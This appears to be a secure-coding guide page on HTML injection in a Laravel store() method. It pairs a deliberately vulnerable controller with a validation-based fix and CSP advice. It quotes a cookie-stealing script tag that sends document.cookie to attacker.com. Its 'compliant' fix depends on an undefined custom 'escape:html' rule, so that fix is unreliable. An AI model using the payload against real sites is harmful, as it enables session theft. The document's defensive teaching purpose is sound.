Skip to main content

HTML code injection

Need

Prevention of HTML code injection attacks

Context

  • Usage of PHP 7.0 for server-side scripting and web development
  • Usage of Request for making HTTP requests
  • Usage of the User dependency for managing user data and authentication

Description

Non compliant code

public function store(Request $request)
{
$user = new User();
$user->name = $request->input('name');
$user->email = $request->input('email');
$user->save();
return redirect('/users');
}

In this Laravel controller method, we're directly taking user input from the request and storing it in the database. The name and email fields are filled with whatever the user sent in the HTTP request.

This is vulnerable to HTML code injection because there is no validation or sanitization of the user's input. An attacker could submit a string of malicious HTML code as their name or email, and it would be stored in the database as is. When this data is later retrieved and rendered on a web page, the malicious HTML code would be executed in the browser of whoever views the page.

For example, an attacker could inject a script tag that executes JavaScript code when the page loads:

<script>document.location = 'http://attacker.com/steal.php?cookie=' + document.cookie;</script>

If this code is injected into the name or email field, it would redirect users to the attacker's website and send them the user's cookies, potentially compromising their session.

Steps

  • Sanitize the input data: Use Laravel's built-in validation rules to sanitize the input data. This will prevent HTML code from being injected into the database.
  • Escape output: When displaying user-generated content, use Laravel's built-in escaping mechanisms to ensure that any HTML code is displayed as plain text, not rendered as HTML.
  • Use prepared statements for SQL queries: This will prevent SQL injection attacks, which are often used in conjunction with HTML injection attacks.
  • Implement Content Security Policy (CSP): This is a security layer that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks.

Compliant code

public function store(Request $request)
{
$request->validate([
'name' => 'required|string|escape:html',
'email' => 'required|email|escape:html',
]);

$user = new User();
$user->name = $request->input('name');
$user->email = $request->input('email');
$user->save();

return redirect('/users');
}

The above code fixes the HTML injection vulnerability by adding validation rules to the input data. The validate method is a built-in Laravel function that checks the request's input data against the provided validation rules.

The required rule ensures that the 'name' and 'email' fields are not empty. The string rule ensures that the 'name' field is a string. The email rule ensures that the 'email' field is a valid email address. The escape:html rule is a custom rule that needs to be defined in your application. It should escape any HTML characters in the input, preventing HTML code from being injected into the database.

When displaying user-generated content, you should use Laravel's built-in escaping mechanisms, such as the e function or the {{ }} syntax in Blade templates, to ensure that any HTML code is displayed as plain text, not rendered as HTML.

In addition to these measures, you should use prepared statements for any SQL queries to prevent SQL injection attacks. Laravel's query builder and Eloquent ORM automatically use prepared statements, so you are protected from SQL injection as long as you use these features correctly.

Finally, consider implementing a Content Security Policy (CSP) for your application. This is a security layer that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. You can set a CSP using the header function in PHP or by configuring your web server.

References